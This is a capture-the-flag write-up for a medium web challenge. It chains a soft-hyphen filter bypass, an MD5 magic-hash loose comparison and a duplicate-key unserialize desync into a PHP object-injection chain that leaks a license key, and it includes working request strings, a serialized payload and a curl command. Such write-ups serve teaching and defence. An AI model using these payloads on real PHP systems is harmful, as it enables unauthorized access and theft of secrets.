← Back to Writeups
CUSTOMN/AOther

PHP 2003

XESXOR8/23/20262 min read
#other#custom#n/a

PHP 2003

Platform: Brunnerne CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux (PHP 8.3) | Author: HLVM | Date: 2026-08-22 | Status: Solved Techniques: soft-hyphen filter bypass, MD5 magic-hash loose comparison, duplicate-key deserialization, POP chain via __destruct/__toString

Summary

Legacy "reservation import" portal (PHP 8.3, Apache). Source disclosed at /index.phps. Three chained gates: a query-string check that can be bypassed with U+00AD soft hyphens, an md5 magic-hash comparison, and a regex-vs-unserialize desync on duplicate object properties. Final payload unserializes a Booking with role=admin and a Receipt{voucher: Voucher} whose destructor prints the flag.

Recon

curl -s https://php-2003-<hash>-global.challs.brunnerne.xyz/
  • Form POSTs staff_pin + reservation_export (base64).
  • Error: "The reservation service is unavailable." until the legacy gate passes.
  • Source disclosure: /index.phps returns full highlighted source (200).

Key source findings

  1. legacy_cgi_request(): urldecode(QUERY_STRING) must contain no literal -; then soft hyphens (\u{00AD}, UTF-8 C2 AD) are replaced with - and the result must equal -d webhotel.legacy=1.
  2. md5($staffPin) != '0e769468064680399918991535722650' — loose compare against a 0e\d+ string.
  3. first_serialized_string($reservation,'role') must return 'guest': regex /s:4:"role";s:(\d+):"(.*?)";/s grabs only the first match and validates its length.
  4. unserialize($reservation, ['allowed_classes' => [Booking, Receipt, Voucher]]), then requires $booking->role === 'admin' and $booking->receipt instanceof Receipt.
  5. POP chain: Receipt::__destruct echoes (string)$voucher when flushOnShutdown; Voucher::__toString returns getenv('WEBHOTEL_LICENSE_KEY').

Exploitation

Gate 1 — soft-hyphen CGI check

Only one hyphen exists in -d webhotel.legacy=1. Replace it with %C2%AD (survives urldecode without producing a raw -, then becomes - in str_replace):

GET /?%C2%ADd%20webhotel.legacy%3D1

Gate 2 — MD5 magic hash

240610708md5 = 0e462097431906509019562988736854. Both operands are numeric strings, so PHP 8 compares them numerically (0 == 0) despite different digits.

Gate 3 — duplicate-key desync

unserialize overwrites repeated properties keeping the last value; the validation regex only inspects the first. Declare role="guest" first, role="admin" second:

O:7:"Booking":4:{s:4:"user";s:5:"admin";s:4:"role";s:5:"guest";s:4:"role";s:5:"admin";s:7:"receipt";O:7:"Receipt":2:{s:15:"flushOnShutdown";b:1;s:7:"voucher";O:7:"Voucher":0:{}}}

Base64-encode (strict decode is used) and POST:

curl -s "https://php-2003-<hash>-global.challs.brunnerne.xyz/?%C2%ADd%20webhotel.legacy%3D1" \
  --data-urlencode "staff_pin=240610708" \
  --data-urlencode "reservation_export=Tzo3OiJCb29raW5nIjo0OntzOjQ6InVzZXIiO3M6NToiYWRtaW4iO3M6NDoicm9sZSI7czo1OiJndWVzdCI7czo0OiJyb2xlIjtzOjU6ImFkbWluIjtzOjc6InJlY2VpcHQiO086NzoiUmVjZWlwdCI6Mjp7czoxNToiZmx1c2hPblNodXRkb3duIjtiOjE7czo3OiJ2b3VjaGVyIjtPOjc6IlZvdWNoZXIiOjA6e319fQ=="

unset($destroyBooking) fires Receipt::__destructVoucher::__toString → flag echoed inside <div class="result flag">.

Flags

FlagValue
customer-areabrunner{php_was_a_web_framework_and_a_fever_dream}

Key Takeaways / Lessons

  • .phps source disclosure is still a thing on Apache misconfigs — always probe for it.
  • Any "must not contain X" filter that performs a secondary normalization pass (unicode fold, replace) is bypassable by encoding the forbidden char as a lookalike (U+00AD soft hyphen for -).
  • Loose comparisons against 0e\d+ md5 strings = classic magic hash; keep a list of collision ints (240610708, QNKCDZO, ...).
  • When input is validated by regex but consumed by unserialize/parsers, exploit first vs last desync: duplicate keys pass the check while the parser keeps the final one.
  • Destructor-based flag echo needs the whole chain: instanceof checks mean every object in the payload must be in allowed_classes.

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.